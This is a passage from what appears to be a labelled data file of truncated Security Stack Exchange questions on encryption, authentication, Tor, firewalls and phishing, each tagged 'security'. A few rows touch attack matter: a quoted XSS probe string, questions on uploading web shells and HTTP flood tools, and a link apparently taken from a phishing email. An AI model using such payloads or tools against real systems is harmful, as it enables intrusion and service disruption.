(which I don't have access to right now) has in the recent past had a virus (where .doc files were converted to .exe files) which we dealt with. Now when she ... ",['security'] "Title: Bringing in an intern Body: When bringing in an intern to help you in the IT world and with access to servers and client information, what kind of forms should be signed, especially when they work remotely? ",['security'] "Title: Setting a limit on password recovery attempts Body: in a setting where one has forgotten their password, I'd like to be able to limit the attempts of entering in email addresses to something like 10. My first thought was to use a cookie. $attempts = ... ",['security'] "Title: Are smartphones at least as safe as “regular” computers for personal data? Body: Like a lot of people, I pretty much run my life on the Web these days. I use online bill pay, I shop at Internet retailers, I keep in touch with friends electronically, &c. I'm pretty comfortable ... ",['security'] "Title: TLS: RC4 or not RC4? Body: I was reading another interesting article by Matthew Green today, saying that if you're using RC4 as your primary ciphersuite in SSL/TLS, now would be a great time to stop As far as I'm aware ... ",['security'] "Title: Where are the private keys stored in Persona/Browser ID? Body: I'm trying to understand where the private keys are stored in the Persona system, and how they are protected. Can anyone elaborate on where the crypto material is created, stored, and what is ... ",['security'] "Title: How to support secure creation of a user account over an external API via a queued job? Body: So this question is delving into security and encryption and the problem potentially hasn't been encountered by many. Answers may be theoretical. Let me outline the scenario... A website frontend is ... ",['security'] "Title: Web Applications (http): Don't get how token based authentication is secure Body: See something like this: http://stackoverflow.com/questions/10826293/restful-authentication-via-spring/10864088#comment21706215_10864088 Or more specific: Token-based authentication - Securing the ... ",['security'] "Title: What role does a PC play when transferring from one attached usb-drive to another? Body: I recently attached two usb-sticks of colleagues to my laptop and transferred a file from one to the other. The file was sensitive and was not supposed to be copied to my PC. Never mind the ... ",['security'] "Title: ASP.net vs PHP security? [closed] Body: I have been told that generally speaking, asp.net web apps tend to be more secure than php, since asp.net has some automatic security measures, for example, by default it doesn't allow remote file ... ",['security'] "Title: Anti-Phishing Campaign Objective Body: At every office I have worked, links and files, both internal and external, are shared in emails. Is the objective of an anti-phishing campaign that users never click on blind, or otherwise ... ",['security'] "Title: When secure email, is not really secure Body: We have a vendor who sends us ""secure"" messages. The messages come as an email message that contains a link to an SSL encrypted website that has the real message. There is no username/password on the ... ",['security'] "Title: Is it secure to use a custom written Php extension for handling + hashing (db) keys? Body: I'm designing the security of a new application and try to figure out what the best way is to store the keys of the mysql AES encryption in the file system. I've seen several options like store it ... ",['security'] "Title: Report an email address being used by a phisher Body: A close friend fell for a phishing scam earlier today. His account's all squared up now, but I decided to do a bit of investigation. The website he fell for was a very poor imitation of a Remax site ... ",['security'] "Title: Recomended Nessus Windows-7 scan settings? Body: In the Nessus FAQ it says Microsoft Windows desktop systems have network limitations that may impact the performance of Nessus. The TCP/IP stack limits the number of simultaneous incomplete ... ",['security'] "Title: What kind of attacks result in an attacker only being able to leak a site's database? Body: Of the public disclosures I've seen from recently compromised sites, it seems common for only the database to be leaked, rather than the application code, or rather than a complete takeover. Is this ... ",['security'] "Title: DOM Based XSS attacks: what is the most dangerous example? Body: I knew that XSS attacks (“non-persistent” and “persistent”) can hijack user session, deface websites, conduct phishing attack, etc. However, I can't understand what is dangerous of DOM Based XSS if ... ",['security'] "Title: Tor traffic seems to be exiting from different Tor exit nodes - is that expected? Body: I seem to be observing some odd behaviour whilst experimenting with TOR. It's entirely possible this is just my own ignorance as well, in which case I would appreciate some ... ",['security'] "Title: MySQL Access Control? Body: I have read somewhere that it is better to have two different MySQL logins in order to prevent hacking. What I mean is having one MySQL login for read access (SELECT permission) and another login for ... ",['security'] "Title: What's the risk in putting semantically meaningful data in an HTTP session identifier? Body: I'm currently looking at performance optimization and am considering a way of speeding up cookie based session handling. There are advantages to having a session identifier in place when there is no ... ",['security'] "Title: What certification would be considered equivalent to the U.S.-EU Safe Harbor Framework? Body: The Safe Harbor website says the following: The European Commission’s Directive on Data Protection went into effect in October of 1998, and would prohibit the transfer of personal data to ... ",['security'] "Title: Can JavaScript be used to install malware? Body: Looking at the Pwn2Own contest got me thinking: http://arstechnica.com/security/2013/03/pwn2own-carnage-continues-as-exploits-take-down-adobe-reader-flash/?comments=1 If you have all plugins turned ... ",['security'] "Title: Security and authentication problem Body: We have a sample scenario and we would like to receive some feedback and some solutions regarding possible security schemes. First of all, lets imagine a real world scenario: Imagine that a user ... ",['security'] "Title: Is there such a thing as MySQL connection flooding? Body: I'm a developer for a small website. There are 3 webservers (for load balancing) and a MySQL server. Today the webservers seem to be down, and, unfortunately, I cannot get hold of the admin (he's in ... ",['security'] "Title: What hardware do I need to monitor mobile traffic? Body: What kind of hardware would I need to monitor data sent between a mobile handset and a base-station? ",['security'] "Title: Is it possible to get data out of running application from non-rooted phone Body: I'am writing some small security report about Android devices in general related to accessing information from RAM. Main condition is that device initially is non-rooted. Use case: User opens ... ",['security'] "Title: HMAC What is secure manner to distribute shared secret between client and server? Body: I am looking at ways to secure http communication using HMAC. My understanding is that in this scenario the client and the server both know a secret. This means the secret must be first generated on ... ",['security'] "Title: Newline XSS vulnerability Body: So I was experimenting with XSS using new line (%0A) character. So I got to the usual vector: '%0Aalert(/xss/)// and one thing came to my mind. What if you can't insert a quote? A new line will break ... ",['security'] "Title: Could once infected machine be ever trusted again? Body: I'm just about to switch to a new SSD drive, so I figured it's a good occasion for a really, really fresh start. I reconsidered every installed piece of software, uninstalled lots of crap ... ",['security'] "Title: Segmenting Virtual Network Traffic Body: I have a basic to moderate understanding of VLAN's and their pros and cons as they relate to network segmentation but I'm wondering where to start as one moves into virtualized environments. From a ... ",['security'] "Title: How do I transfer the HMAC? Body: I have a file I'd like to encrypt with a symmetric key using AES-256 and then use an HMAC for integrity. So I don't ""roll my own"" scheme which I know is a big mistake, what are the standards for using ... ",['security'] "Title: Return AWS signature over HTTP Body: I am performing multipart upload to S3 straight from the browser, i.e. bypassing my back-end. My JS code sends a hand-shake request to S3 (a POST), then uploads the file in chunks of 5MB (a PUT for ... ",['security'] "Title: Tacacs+ scenario: can I permit user to configure only for one interface and deny others Body: I'm currently deploying TACACS+ with a Cisco device, I use a TACACS server from here: http://www.shrubbery.net/tac_plus/ My scenario is: I want to permit a user to configure my router but only for a ... ",['security'] "Title: Fresh Graduate Going into Penetration Testing Body: As a fresh graduate I'm wondering what my chances are of joining a great pen-testing group. Is there a risk that a career in pen-testing may one day not be needed? If so, how applicable will skills ... ",['security'] "Title: Is it possible to locate Tor/proxy users? Spam is getting on my nerves Body: I'm managing a huge forum (over 15k posts and 500 users) and lately some guy uses a VPN (probably) to spam my forums with topics such as: ""GAYGAYGAYGAYGAYGAYGAY"" ""FRIGHT IS GAY HAHAHAHHAA"" ""ADMINS ... ",['security'] "Title: At what point does something count as 'security through obscurity'? Body: So, I keep finding the conventional wisdom that 'security through obscurity is no security at all', but I'm having the (perhaps stupid) problem of being unable to tell exactly when something is 'good ... ",['security'] "Title: Is it bad practice to send decryptable data? Body: If I'm authenticating an action, is it a bad practice to authorize the connection using a decryptable hash that does have a specific algorithm, but only the remote machine knows? Is sending ... ",['security'] "Title: How are spoofed packets detected? Body: My assumption: When a firewall is configured to drop spoofed packets, it tries to ping (not necessarily ICMP) the source IP and sees if it belongs to a real host or if it's up, and if not, it drops ... ",['security'] "Title: Authentication by Signing or MAC? Body: I'm still new to security, so I'm sorry if this question doesn't make sense or if I'm completely off base with something. I've got some messages I want to encrypt (probably with AES-256-CBC) and send ... ",['security'] "Title: Is it possible to block emails (to all email accounts) that contain certain word/phrase patterns? Body: I'm not sure if this is the most appropriate SE group to ask this question but I'm hopeful that it will get some interesting and helpful input from the folks here before it is possibly moved. A ... ",['security'] "Title: Use client SSL certificates as web application authentication Body: I'm working on a web application with simple API needing authentication. For my application nature, users have two RSA keys, for signing and encrypting messages. My protocol works based on it. The ... ",['security'] "Title: Test firewall rules (Linux) Body: I have a question about how to test the firewall rules. To be more specific, for academic purpose I have to set up a machine which will accept all kind of packets o a specific interface. I added an ... ",['security'] "Title: FireFox's restore previous session restores logins authenticated by server's sessions Body: In a website I'm building when I login, close FireFox, open FireFox and try to go to the website again I must login again (as expected) BUT if I select ""Restore Previous Session"" I am logged in again. ... ",['security'] "Title: Client-Side Hashing to decrease value of password guessing heuristics Body: Yes, this is 'yet another client-side hashing' question. But, don't leave yet, I think there is some value here. I'd like to do something to mitigate the affect on the community as a whole when my ... ",['security'] "Title: Can I ensure that a public key derived from a private key is unique? Body: In asymmetric cryptography, is it possible to ensure that public key derived from a given private key is unique, no matter the algorithm? ",['security'] "Title: DDOS protection for instant messenger server Body: I developed an instant messenger which uses TCP ports for its communication, and hosted the server application on a VPS account from some hosting company, but the first day I got attacked by a ... ",['security'] "Title: Windows Update - Interception Body: I'm trying to monitor the HTTP requests/responses made when performing a Windows Update. I have a Windows 8 machine configured with a proxy in IE. I've also imported via netsh for winhttp: netsh ... ",['security'] "Title: What does -Pn option mean in nmap? [closed] Body: I am trying to do a nmap scan on a machine in my home network. When I do the regular scan (using nmap 192.168.2.10 or nmap -sP 192.168.2.10), the results say host is down. However, when I use the ... ",['security'] "Title: Necessary education for InfoSec? [closed] Body: So, as it stands I'm a 21 year old recent Bio-Chemistry graduate looking for a path into InfoSec. Without a background in any computing discipline I assumed that it would be seen as compulsory that I ... ",['security'] "Title: Java SecureRandom generate secure random number Body: How to generate a secure random number bit length is 256 bits using Java. What is the different between: SecureRandom random = new SecureRandom(); and SecureRandom prng = ... ",['security'] "Title: How to provide security for passwords stored in Database? [duplicate] Body: Passwords of end Users are stored in Database which is encrypted (using one way hash like MD5). Apart from me, there are 'other' people belonging to other teams who have access to Database which means ... ",['security'] "Title: What key sizes are allowed within TLS if the DHE_RSA is the only key exchange allowed? Body: Can I make assumptions about minimum and maximum key sizes if all I know about a TLS server is the fact that it uses DHE_RSA for key exchange? Can the server be configured to use weak key sizes for ... ",['security'] "Title: Dynamic application security testing tools Body: Is there a Dynamic application security testing (DAST) tool which can run over dynamic html /JavaScript ajax applications? An open source option would be ideal - or if that does not exist, then a ... ",['security'] "Title: UAC and Windows Services Body: A user has a PowerShell script that does some things that require administrative access on Windows Server 2012 with UAC enabled. When they run the script as a Local Administrator, it fails with ... ",['security'] "Title: Do iframes maintain the security of the nested website? Body: I am planning to add iframes to my webpage to sites such as www.dropbox.com and was wondering if the security of the site would be impaired if i did this. As in, could peoples account be hacked if ... ",['security'] "Title: Encrypting sensitive data in software and storing/decrypting it on a server Body: I have searched IT Security and Google for something similar to this, but wasn't able to find anything remotely related to what I'm doing. I'm developing software which has 2 parts - a C# program run ... ",['security'] "Title: Yahoo Email Keeps Getting Phished Body: I keep getting spam emails from myself (and I am sending them to others as well) on my Yahoo Mail account. I have already went through two password changes which I thought were secure. My very last ... ",['security'] "Title: Testing for HTTP TRACE method Body: How can I test for HTTP TRACE on my web-server? I need to train a Tester how to verify that the HTTP TRACE method is disabled. Ideally I need a script to paste into Firebug to initiate a https ... ",['security'] "Title: How to predict C rand()? [duplicate] Body: Is there a practical way to predict previous/next C rand() output if i have some of the values? How many values do i need? Do they need to be consequent? If it depends on compiler - for which ... ",['security'] "Title: icmp packets not able to reach the firewall despite of adding a specific rule, why? Body: I am using iptables to allow the icmp traffic in/out of my host. Please find below are the entries from my firewall (linux based):- [root@localhost ~]# iptables -L Chain INPUT (policy DROP) target ... ",['security'] "Title: What is the difference between RSA1 & RSA in regards to SSH? Also when is the fingerprint & random art used? Body: I have searched this site for RSA1 with no results. From multiple google searches I have understood that RSA1 was used in SSH1 (which isn't recommended). However if its a single algorithm why are ... ",['security'] "Title: What is a good general purpose GnuPG key setup? Body: Since most key types can be used for multiple purposes, namely certification, authentication, encryption and signatures, one could simply use one key for everything - which is a bad idea, as ... ",['security'] "Title: Is a Tor router really safer than a proxy? Body: If I use a Tor router to browse the regular internet that it has to leave the Tor network through an exit node. Apparently the exit node has all the information from the original user it came from on ... ",['security'] "Title: Is every client-side language more vulnerable? Body: With web browser plug-ins like Firebug, it is easy to manipulate the source code of client-side language such as HTML and JS. Then are those languages more vulnerable than server-side ones ? When one ... ",['security'] "Title: Key length and hash function in PBKDF2 Body: On this page: http://www.ruby-doc.org/stdlib-2.0/libdoc/openssl/rdoc/OpenSSL/PKCS5.html they make a statement that strikes me as rather weird: Key Length Specifies the length in bytes of ... ",['security'] "Title: What measures should be taken when losing an iPad Body: When losing a tablet that has been used to access email accounts , beside changing the passwords, is there anything more can be done? What are the most common problems that might occur if the iPad ... ",['security'] "Title: Need to ephemerally store third-party password Body: One particular web service that I am writing interfaces with an API. Each API call requires the user's username and password to be sent, no state is maintained. Ideally, when using my web service the ... ",['security'] "Title: Is it safe to have the salt equal to IV? Body: If I'm using AES-256 CBC to encrypt, getting the 32 byte key using multiple iterations of the PBKDF2 function with a 16 byte salt, is it safe for me to let IV be equal to the salt? (Edit: The salt is ... ",['security'] "Title: Why should an IKE responder change the cookie secret 'frequently'? Body: IKEv2 has the concept of a COOKIE mode, to attempt to prevent state exhaustion from floods of initiation requests from non-existent IP addresses: Two expected attacks against IKE are state and CPU ... ",['security'] "Title: How to check whether the cookie is set securely Body: I found solution for setting asp.net_sessionid cookie as secure. The solution is to make changes in web.config file as given below. <\system.web> I want to know if this change is setting the ... ",['security'] "Title: How can I protect my domain names without exposing too much personal information? Body: I guess more specifically I want to know how to ensure I retain ownership by having sufficient contact information in the Administrative, Technical and Billing contact fields, but without exposing too ... ",['security'] "Title: Source code auditing and fake builds Body: I am wondering about source code auditing and how hard it would be to fake a build to be audited? Let me explain. Say I would be a dishonest programmer that would wish to put in some backdoor into ... ",['security'] "Title: Key distribution advice Body: I have been thinking for days about that problem! The application is based on a student system management. I am implementing database encryption on a column level and The encryption occurs at the ... ",['security'] "Title: Why is a separate reconnaissance server needed for DNS cache poisoning? Body: I'm trying to understand how Metasploit's DNS BailiWicked Host Attack module works. One of the required module options is a ""reconnaissance"" nameserver (option RECONS). What I understand from the ... ",['security'] "Title: Certification authority only for certain domains Body: Is it possible to make a certification authority certificate (even unsigned), which only allow to sign certificates for specific domain(s)? ",['security'] "Title: How to Secure a Stream from DDoSers? Body: I conduct a weekly live-stream using Google Hangouts that streams over YouTube. Recently, the stream has been attacked by DDoSers. In an attempt to thwart such attacks, I have tried to keep my IP ... ",['security'] "Title: How to proceed if a new hash algorithm for passwords is introduced? Body: I have an e-mail address at a certain institution. A few days ago they sent me an e-mail (in German), which I'd like to paraphrase without revealing the institution: Dear Madams and Sirs, a ... ",['security'] "Title: Should Framebusting be used (not used) on an IdP login page? Body: I'm trying to understand when Framebusting should and shouldn't be used. At first brush I'd want to apply that to all pages in my site and generating exceptions as necessary. On the other hand, if I ... ",['security'] "Title: What is more secure for voice and SMS OTP: A random number or generated similar to HOTP? Body: Many providers are creating OTP authentication for their sign in. However I noticed that all the voice and SMS OTPs I've come across are a series of 6 digits... similar to the HOTP RFC Standard ... ",['security'] "Title: SQL Injection How to inject Clean/Rest URLS Body: I have a question I'm hoping you could help me with? Unclean url's: http://example.com/index.php?page=foo http://example.com/products?category=2&pid=25 ... ",['security'] "Title: Methods for uploading shell to a website Body: I know shells can be uploaded via sql injection, remote file inclusion and exploiting the web app's own upload mechanism. Are there any other ways to upload a shell to a website and be able to execute ... ",['security'] "Title: Are there risks of using the same OpenID provider for sites with different security levels? Body: I always use the same OpenID provider (Google, with a strong unique pw and 2-factor auth) in every site that supports it, without thinking twice. It's my understanding that, as long as the provider is ... ",['security'] "Title: Actual issue? Phone switches from 3G to router makes session switch from https to http Body: I heard that a security issue exists in some cases when a mobile phone has: Connected to a website via https via 3G Connects to a router I'm told that that in this particular scenario the router ... ",['security'] "Title: How configure tomcat 7 SSL to use AES-NI? Body: My server has AES-NI and I would like tomcat 7 to make use of this but I am not really sure how to make that happen or where to even start looking. I am quite familiar with tomcat administration, and ... ",['security'] "Title: An OS that does not trust its RAM? Body: I wonder if it is possible to write a kernel that would keep all of its RAM encrypted, storing the key in the CPU cache, so that the machine would be resistant to cold-boot attacks? ",['security'] "Title: Why do X.509 certificates have “Key Usage” attribute? Body: I can find their values and all details in the RFC, but I cannot find why it was decided to have this attribute in certificates, instead of leaving them to be multipurposes. Is there a reasoning ... ",['security'] "Title: Confidentiality and integrity for web session Body: When the client authenticates with our service, he is issued an opaque ""token"". This token includes the information, that identifies the client and some other information about the client (""payload""). ... ",['security'] "Title: What is this spam bot trying to do by filling in my PHP forms randomly? [duplicate] Body: I have been getting alot of bot spam lately. The most recent one is this as the body: already to standards Address is is required return ? then with local include accurate Another they in ? and ... ",['security'] "Title: non-periodic event detection Body: I'm searching for keylogger detection. As far as I see, almost all of keyloggers created by tools are sending data to a host periodically, but the ones made by coders may send data non-periodically. ... ",['security'] "Title: Does using GUIDs for IDs make IDs unpredictable? Body: Say I have a website that stores credit card information and on that site I have a page where users can edit/delete their credit card information. For the sake of the example lets say the HTML looks ... ",['security'] "Title: How to not reveal that you are using PHP? Body: I'm bulding a website but some webtools and browser plugins allows anyone to get information on which technologies the website has been built. Is there any Alternative to not reveal that we are ... ",['security'] "Title: Logging in a user after password reset via link Body: Lets say password reset functionality flow is the following: User submits email address used for his account. An email is sent to that email address with a link with a password reset hash. Upon ... ",['security'] "Title: How is distributed computing security ensured? Body: I browsed some articles found on the web but none of them seems to have the answer to my question (or maybe I didn't see it). I've heard that it is possible to give one's CPU unused power to research ... ",['security'] "Title: bootp enabled by default on dhcp reduce security? Body: by default in Microsoft DHCP server configuration Bootp is enabled and choose both(accept DHCP request and Bootp ) i know that how this work and know about how configure two DHCP Server by Bootp ... ",['security'] "Title: How and where can I best announce an XSS vulnerability in a relatively well-known website? Body: I'd like advice on how and where to announce an XSS vulnerability (persistent XSS to be exact). My greatest fear is the announcement getting snowed under, thus rendering the disclosure ineffective in ... ",['security'] "Title: How to use a Yubikey NEO (or any OpenPGP card or GnuPG in general) to sign X.509 CSRs? Body: Since the Yubikey NEO can be used as an OpenPGP card (see here) with three 2048 bit RSA keys, I thought about creating a CA from one of its public keys. Since the private key cannot be extracted ... ",['security'] "Title: Can Jasper files be used as shells to attack java web apps? Body: JasperReports is an open source Java reporting tool that can write to a variety of targets, such as: screen, a printer, into PDF, HTML, Microsoft Excel, RTF, ODT, Comma-separated values or XML ... ",['security'] "Title: HTTPOnly Cookies: Security Depends on Client Cooperation? Body: I've been implementing HTTPOnly cookie-based session handling and have some questions about what HTTPOnly means. I realise it's a flag that gets passed around in the HTTP header when setting cookies. ... ",['security'] "Title: What is better, an established framework or a homebrew solution? Body: Recently, a website related to our university was hacked along with many others. This led to a general discussion1 on how to secure the website in the future. Anyway, there is one point that was ... ",['security'] "Title: Best beginning programming language for someone interested in IT security [closed] Body: Backstory: At the moment I'm someone with very limited knowledge on computers and programming, but I would like to change that. I have discovered that I'm mainly interested in IT security and that I ... ",['security'] "Title: Is there cryptographic material in a phone's SIM card that can be used with RSA encryption? Body: Given that a smart card stores a private key that can't be extracted, it appears that a SIM card is similar to a smart card in these respects. I need to store (or use an existing) private key on a ... ",['security'] "Title: How to Secure My DropBox Installation? Body: I am sharing a DropBox Folder with by Friends for a project so that we can be updated with each other progress. But i was not very convince after reading the How secure is Dropbox?. What if one of my ... ",['security'] "Title: Allow users to vote anonymously *once* [duplicate] Body: I would like to add functionality to a site which would allow users to view a large collection of articles and cast a vote if they liked the content. Article votes can only be positive (upvoted). ... ",['security'] "Title: Could TOR nodes collect IPs and filter them to unmask .onion url IP addresses? Body: I feel that I generally understand TOR onion routing. From what I understand, the node knows the IP it is receiving data from and the IP it is sending data to. So surely a node can collect the IP ... ",['security'] "Title: Create a unterminable process in Windows Body: I am a student, and am genuinely curious about unterminable processes in Windows. For educational purposes, I would like to create an application (possibly in VB6?) which cannot be terminable by a ... ",['security'] "Title: Can URLs be sniffed when using SSL? [duplicate] Body: I know that http requests can be sniffed, so sniffer can see the requested URL from the victim. So 2 days ago I my bank made me a web-account to see, send money etc... The thing I saw is my session ... ",['security'] "Title: How can I protect against email tracking services? Body: Recently a free service came out for email tracking, bananatag. It's able to track the fact that the email was read in gmail without any notice or strange inclusions in the email body. In this case ... ",['security'] "Title: If my server was compromised, is my database safe? Body: I have an AWS instance running a rails app that I don't actively maintain. Since I didn't keep track of what was going on with this app, I didn't update it promptly when all the rails vulnerabilities ... ",['security'] "Title: Brute force a GUI login? Body: I know I have read somewhere that the reason the UAC prompt in Windows 7 was employed is that viruses that would supposedly execute privileged instructions won't be able to ""click"" the confirm button ... ",['security'] "Title: What are the dangers of client side authorization? [duplicate] Body: What are the dangers of client side authorization? Where client side authorization should and should not be used? ",['security'] "Title: Preventing online voter fraud Body: As part of a promotional campaign, my company wants to launch a site where users (and potential users) of our product will be required to register and vote for certain choices. Depending on how ... ",['security'] "Title: What security issues are there when reading cookie with .htaccess? Body: I have a (hobby) web site that runs only on SSL (i.e., site-wide HTTPS). The site does not deal with finances, social security numbers, or anything of that level of importance. However, I'd like to ... ",['security'] "Title: How can an Subject only read and write to its owned objects? Body: It appears that in RBAC, a Subject creates a Session with an Active Role(s), these Roles are then used to determine what permissions and actions can be taken. This appears to be fine for most of our ... ",['security'] "Title: AES encrypt secret key with plaintext Body: We need to be able to retrieve password. Hashing is one-way, we can't do that. So we ended up using AES. We want to know if the following schema is safe or not. I am only familiar with modulo PK ... ",['security'] "Title: Is there a reliable way to simulate “Evil Maid Attack” boot path tampering when using bitlocker? Body: Suppose you have a system whose OS drive is encrypted with bitlocker and uses TPM + PIN authentication to authenticate the boot path against tampering. As I understand it, this setup theoretically ... ",['security'] "Title: How isolated are 2 operating systems on 1 harddisk? Body: Lets say I have 2 windows dual booting on the same harddrive (windws 7), How isolated are they? I am thinking that there should be up to date antiviruses software on both Windows, and they should be ... ",['security'] "Title: How does Near Field Communication (NFC) compare to RFID technologies? Looking for a functional primer Body: I'm starting my independent studies in RFID and NFC and am trying to understand how they relate to each other, and what security issues are common/unique to each. Is RFID a superset of NFC? (or vice ... ",['security'] "Title: Requirements for a smartphone anti-theft App Body: I recently installed Cerberus in my [personal] Android device to get some protection against theft (I'm not really interested in protecting its data, but rather in increasing the odds the device will ... ",['security'] "Title: What knowledge is neccessary to work in computer security? [closed] Body: What level of knowledge does a person need to work in computer security? Are the following skills sufficient? Good knowledge in TCP/IP networking Good knowledge in firewalls/firewall techniques ... ",['security'] "Title: is it possible to use smime in the webclient of gmail? Body: I could not find any options in the webinterface of Gmail. all I could find was a Firefox plugin to use SMIME with Gmail, but it seems to be outdated ",['security'] "Title: Generate DB Password from license key - a good idea? Body: There's this web app which has a SQLServer database, and the connection string it uses to access the database is not stored in any configuration file. Rather, the designers decided it would be a good ... ",['security'] "Title: PHP injection on 777 file [closed] Body: Some one has modified a PHP file, which had permissions set to 777, on my VPS server. How can someone do that without administrative access to the server? What information I can give you? I know ... ",['security'] "Title: Tracking a user who has posted abusive messages Body: A visitor to our site has posted abusive messages and I wish to block them but I'm not sure there's much I can do besides blocking their IP address (and even that won't help much). After analysing ... ",['security'] "Title: Demystifying Web Authentication (Stateless Session Cookies) Body: I'm currently researching user authentication protocols for a website I'm developing. I would like to create an authentication cookie so users can stay logged in between pages. Here is my first ... ",['security'] "Title: How to prevent code injection like automatically adding extra character? [closed] Body: Code: $result = ""Hello World""; $jsonEncodeValue = $result; echo $jsonEncodedValue; Assumed Output: ""Hello World"" Real Output: \n""Hello World"" This \n Line Feed added automatically. For this ... ",['security'] "Title: Packet-filtering firewall evasion (Scanning) Body: Context I'm very familiar with different applications of scanning tools (. . . and you can use -mtu to specify the size of the fragments in nmap . . .) but every piece of information I read about ... ",['security'] "Title: For a desktop application, why use an SSL certificate from a trusted authority? Body: When a web browser connects to a server and downloads an SSL certificate, a third-party trusted authority ensures that the client is talking to the host that it's looking for. If the host uses a ... ",['security'] "Title: How to avoid to lose data encrypted because it was encrypted by no longer supported software? Body: How can I avoid losing data that is encrypted using methods that may become obsolete? I have valuable family records I wish to secure, so I plan to encrypt them before putting them in long-term ... ",['security'] "Title: Does not having https moot this entire site? Body: On a bank website the other day, I noticed that they were giving out a phone number on a page that wasn't over https. This seemed really wrong to me, since it would allow somebody to change the phone ... ",['security'] "Title: What is required to ensure users' information being sent over my website is secure with the use of account log ins Body: I have inherited the responsibility of managing my company's website. There are some customers who are required to submit highly confidential information via the website using online forms. I have ... ",['security'] "Title: Prevent cross domain form submission with nonce? Body: I haven't done much in web security before but am now in need to prevent a form from being submitted from anything but my own domain. I know how to lock this down in an .htaccess file but the ... ",['security'] "Title: Utility to hide several encrypted messages in single file Body: I am interested, are there existing utilities/projects under way devoted to combining encryption and steganography. I would like to - combine two or more messages, encrypted with separate ... ",['security'] "Title: Does a binary executable have to have some critical plain-text components? Body: When companies package binary executables, they are often encrypted, compressed, scrambled, and otherwise made so that your lazy hacker can't simply open the program up in Notepad++ and see the code. ... ",['security'] "Title: Central authentication Body: I am designing a system composed of several services. Some can be hit only from inside our network and a few can be hit externally. One of these services is a ""login"" or ""authentication"" service. My ... ",['security'] "Title: Cannot use HTTPS or download stuff from sourceforge with a mac, what kind of soft does that? [closed] Body: I'm at a public library (france). I have a http library login to access that wifi. I just want to download some SFML zip to make some app, but many things are blocked, mainly https. I can't even ... ",['security'] "Title: Saved passwords (use case) Body: I have a program in which a user enters a password, and the user data is stored encrypted using AES-128. The data and passwords must be stored together. Both the data and the password are encrypted ... ",['security'] "Title: keylogger detection by listening network Body: It is known that malware often uses keyloggers. Also some viruses aren't detected by antiviruses, therefore some viruses, especially APTs could stay in a system for so long without any detection. What ... ",['security'] "Title: Minimum size of input text box required for XSS attacks Body: I have below code to accept User login ID as input from User. <input name=""userName"" type=""text"" id=""userID"" maxlength=""8""/></td> Maximum number of characters that a end user can input ... ",['security'] "Title: How do I know a piece of software only does what the author claims? Body: Without being a programmer or a computer expert, how can I know if a particular program or any piece of software in general doesn't have hidden unwanted functions compromising privacy and security? ",['security'] "Title: What are the basic implementations that make a network secure from the inside\outside? Body: Would you consider the following to be ""basic hardening items"" for network equipment and servers? VLANs Access Control (such as NTFS permissions) Patch Management System Host Firewall Anti-Virus ... ",['security'] "Title: Secure Web application Password vault/manager [duplicate] Body: I would like to build an open source online password vault which allows users to securely store their passwords, like Keepass or roboform, but where a user can access their passwords through a ... ",['security'] "Title: Attack Vectors for Purely Static Website (HTML and CSS) Body: I am sorry if this is a too trivial question, but once I was told that only a fool is sure of anything: as I am not sure about this question, I am willing to risk my neck by asking it anyway, all in ... ",['security'] "Title: Determine hashing algorthim only with known input and output Body: Given the input: test A system generates the following output hash: 0x001F41B6A0534D3B851D69EFE6237F550100000010D5F4FC65E64BCFDBF2590212E4411C44942C6C734C00ACFE13B958DCAB3614 I do not know ... ",['security'] "Title: Firefox pre-downloading Body: I've found out that if you download a file with Firefox, a similar window as this one pops up (in dutch in my case): (""Bestand opslaan"" = ""Save file"") However, the file is already being ... ",['security'] "Title: How to secure a certificate internally Body: Say I have a certificate which I use to sign the software I ship. This happens in the (daily or more) build on the buildserver (Windows machine). Easiest solution would be to put the certificate file ... ",['security'] "Title: Is using the md5 hashing algorithm as method for authorization in an HTTP POST request unsafe? Body: I am creating a page on a website that will show a user some authorized information from another website, and that website uses a combination of the user's user-number and a secret passphrase hashed ... ",['security'] "Title: Is there any decompiled source code for the “Flame”/“Skywiper” malware? Body: When searching for the source for Stuxnet, its relatively easy to come by in one form or another. Although I'm actually curious if anyone has done any work to comment the source and perhaps clean up ... ",['security'] "Title: PGP keys and security contact pages Body: I have heard security researchers suggest that if you run a public website, you should put up a ""security contact"" page that includes a contact email address and your PGP public key so that people can ... ",['security'] "Title: How do I deal with companies that call and ask for personal information? Body: Several times I get a phone call from a company- my bank, utility companies etc. Many times they are just cold calling me, but once or twice they were calling for legitimate reasons (ie, something to ... ",['security'] "Title: Is apache mod_spamhaus still being maintained? Body: I only found this: http://sourceforge.net/projects/mod-spamhaus/files/?source=navbar and that is from 2008 Is there any newer apache mod that is up-to-date? Someone has experience with it? Maybe ... ",['security'] "Title: Encrypting user data using password and forgot my password Body: I am planning to do a web application which stores a lot of personal stuff (info, photos...). And to give users a sense of protection, I want to encrypt the data before storing it to the database. ... ",['security'] "Title: Tools for performing HTTP FLOOD attack? Body: I'a looking for tools which can perform HTTP FLOOD ATTACK . I seached a lot and this is the only tool I've found DoSHTTP. Does anyone know another tool ? I want to test them on my localhost to ... ",['security'] "Title: Is there a way to find out how long it takes John the Ripper to crack a particular password? Body: I am looking to test/demonstrate things like: when the supplied wordlist contains ""abc123"" and pw=""abc123"" then John cracks the pw in 1/2 a second... but if word list does not contain ""abc123"" John ... ",['security'] "Title: Firewall on a VM Body: I know I could use a software firewall on the guest to achieve a situation similar to this, but is there a way to emulate a firewall (protecting multiple Guests) between a host and guests on a ... ",['security'] "Title: How to make a secure key distribution scheme/protocol? Body: We are building a data processing platform on Amazon AWS. We are going to store sensitive data in the S3 (encrypted) and then the Amazon EC2 node is going to be utilized to process this data. We are ... ",['security'] "Title: How does the Yahoo webmail exploit work? Body: I got an email (referring to me by name) from somebody I knew a while ago and the email itself was just two/three lines containing a bit-ly link. Although it seemed like it actually could be ... ",['security'] "Title: Finding all AJAX entrypoints Body: Is there any tool to (automatically) find all backend JavaScript entrypoints within a site? I have to check a site for vulnerabilities in the backend code that validates AJAX parameters and I would ... ",['security'] "Title: Best practices for handling computer viruses Body: I realize this question may be quite broad (and hopefully not a violation of the FAQs), but I'm interested in hearing how many of you handle a computer infected with Malware. In a small-to-medium ... ",['security'] "Title: Good, simple list of reasons that email is inherently insecure Body: I've been searching for a while, trying to find a good get of information about the inherent risks of transmitting sensitive data via email. I'm really looking for a comprehensive list of all the ... ",['security'] "Title: A couple of redirects after clicking in a link, what are they after? Body: I got an mass email from an friend containing only this link (made not clicable on purpose): http://www.casadelapiedra.com/components/com_content/id876757355.php I imagine she is got some kind of ... ",['security'] "Title: Wine or sandboxie as sandboxes Body: I'm looking for a sandbox for Windows. I've looked at sandboxie but I don't know if 